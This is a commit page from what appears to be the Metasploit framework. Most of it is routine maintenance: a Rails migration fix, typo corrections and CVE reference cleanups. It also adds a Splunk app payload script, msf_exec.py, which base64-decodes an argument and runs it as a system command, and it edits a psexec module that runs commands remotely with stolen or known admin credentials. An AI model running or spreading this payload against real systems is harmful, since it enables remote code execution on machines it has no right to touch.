Skip to content

Commit bb8f0e5

Browse files
committed
Merge branch 'rapid7' into kernelsmith-RM7223-meterp-kill
2 parents 11fec0b + 7ea188e commit bb8f0e5

24 files changed

+2257
-23
lines changed
687 Bytes
Binary file not shown.

data/sql/migrate/20110422000000_convert_binary.rb

Lines changed: 20 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -4,37 +4,42 @@ class ConvertBinary < ActiveRecord::Migration
44
class WebPage < ActiveRecord::Base
55
serialize :headers
66
end
7-
7+
88
class WebVuln < ActiveRecord::Base
99
serialize :params
1010
end
11-
11+
1212
def bfilter(str)
1313
str = str.to_s
1414
str.encoding = 'binary' if str.respond_to?('encoding=')
1515
str.gsub(/[\x00\x7f-\xff]/, '')
1616
end
17-
17+
1818
def self.up
1919
rename_column :web_pages, :body, :body_text
2020
rename_column :web_pages, :request, :request_text
2121
rename_column :web_vulns, :request, :request_text
2222
rename_column :web_vulns, :proof, :proof_text
23-
23+
2424
add_column :web_pages, :body, :binary
2525
add_column :web_pages, :request, :binary
26-
add_column :web_vulns, :request, :binary
26+
add_column :web_vulns, :request, :binary
2727
add_column :web_vulns, :proof, :binary
28-
28+
2929
WebPage.find(:all).each { |r| r.body = r.body_text; r.save! }
3030
WebPage.find(:all).each { |r| r.request = r.request_text; r.save! }
3131
WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! }
3232
WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! }
33-
33+
3434
remove_column :web_pages, :body_text
3535
remove_column :web_pages, :request_text
3636
remove_column :web_vulns, :request_text
3737
remove_column :web_vulns, :proof_text
38+
39+
WebPage.connection.schema_cache.clear!
40+
WebPage.reset_column_information
41+
WebVuln.connection.schema_cache.clear!
42+
WebVuln.reset_column_information
3843
end
3944

4045
def self.down
@@ -43,21 +48,25 @@ def self.down
4348
rename_column :web_pages, :request, :request_binary
4449
rename_column :web_vulns, :request, :request_binary
4550
rename_column :web_vulns, :proof, :proof_binary
46-
51+
4752
add_column :web_pages, :body, :text
4853
add_column :web_pages, :request, :text
4954
add_column :web_vulns, :request, :text
5055
add_column :web_vulns, :proof, :text
51-
56+
5257
WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! }
5358
WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
5459
WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! }
5560
WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
56-
61+
5762
remove_column :web_pages, :body_binary
5863
remove_column :web_pages, :request_binary
5964
remove_column :web_vulns, :request_binary
6065
remove_column :web_vulns, :proof_binary
61-
66+
67+
WebPage.connection.schema_cache.clear!
68+
WebPage.reset_column_information
69+
WebVuln.connection.schema_cache.clear!
70+
WebVuln.reset_column_information
6271
end
6372
end
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import sys
2+
import base64
3+
import splunk.Intersplunk
4+
5+
results = []
6+
7+
try:
8+
sys.modules['os'].system(base64.b64decode(sys.argv[1]))
9+
10+
except:
11+
import traceback
12+
stack = traceback.format_exc()
13+
results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
14+
15+
splunk.Intersplunk.outputResults(results)
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
[launcher]
2+
author=Marc Wickenden
3+
description=Metasploit module spunk_upload_app_exec.rb
4+
version=1.3.3.7
5+
6+
[ui]
7+
is_visible = true
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
[msf_exec]
2+
type = python
3+
filename = msf_exec.py
4+
local = false
5+
enableheader = false
6+
streaming = false
7+
perf_warn_limit = 0
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
[commands]
2+
export = system

modules/auxiliary/admin/smb/psexec_command.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ def initialize(info = {})
2222
'Description' => %q{
2323
This module uses a valid administrator username and password to execute an
2424
arbitrary command on one or more hosts, using a similar technique than the "psexec"
25-
utility provided by SysInternals. Daisy chaining commands wiht '&' does not work
25+
utility provided by SysInternals. Daisy chaining commands with '&' does not work
2626
and users shouldn't try it. This module is useful because it doesn't need to upload
2727
any binaries to the target machine.
2828
},
@@ -45,6 +45,7 @@ def initialize(info = {})
4545
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
4646
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
4747
OptString.new('RPORT', [true, 'The Target port', 445]),
48+
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
4849
], self.class)
4950

5051
deregister_options('RHOST')
@@ -56,7 +57,7 @@ def peer
5657

5758
# This is the main controle method
5859
def run_host(ip)
59-
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
60+
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
6061
bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
6162
smbshare = datastore['SMBSHARE']
6263

@@ -83,7 +84,7 @@ def execute_command(ip, text, bat)
8384
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
8485
print_status("#{peer} - Executing the command...")
8586
return psexec(execute)
86-
rescue StandardError => exec_command_cerror
87+
rescue StandardError => exec_command_error
8788
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
8889
return false
8990
end

modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ def initialize(info = {})
2525
'Author' => [ 'juan vazquez' ],
2626
'License' => MSF_LICENSE,
2727
'References' => [
28-
[ 'CVE', 'CVE-2012-4956' ],
28+
[ 'CVE', '2012-4956' ],
2929
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
3030
],
3131
'DisclosureDate' => 'Nov 16 2012'))

modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -87,7 +87,7 @@ def run
8787
end
8888

8989
if(not @banner)
90-
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ")
90+
print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.to_s.unpack("H*")[0]} ")
9191
return
9292
end
9393

modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ def initialize
2525
},
2626
'References' =>
2727
[
28-
[ 'CVE', 'CVE-2012-4958' ],
28+
[ 'CVE', '2012-4958' ],
2929
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
3030
],
3131
'Author' =>

0 commit comments

Comments
 (0)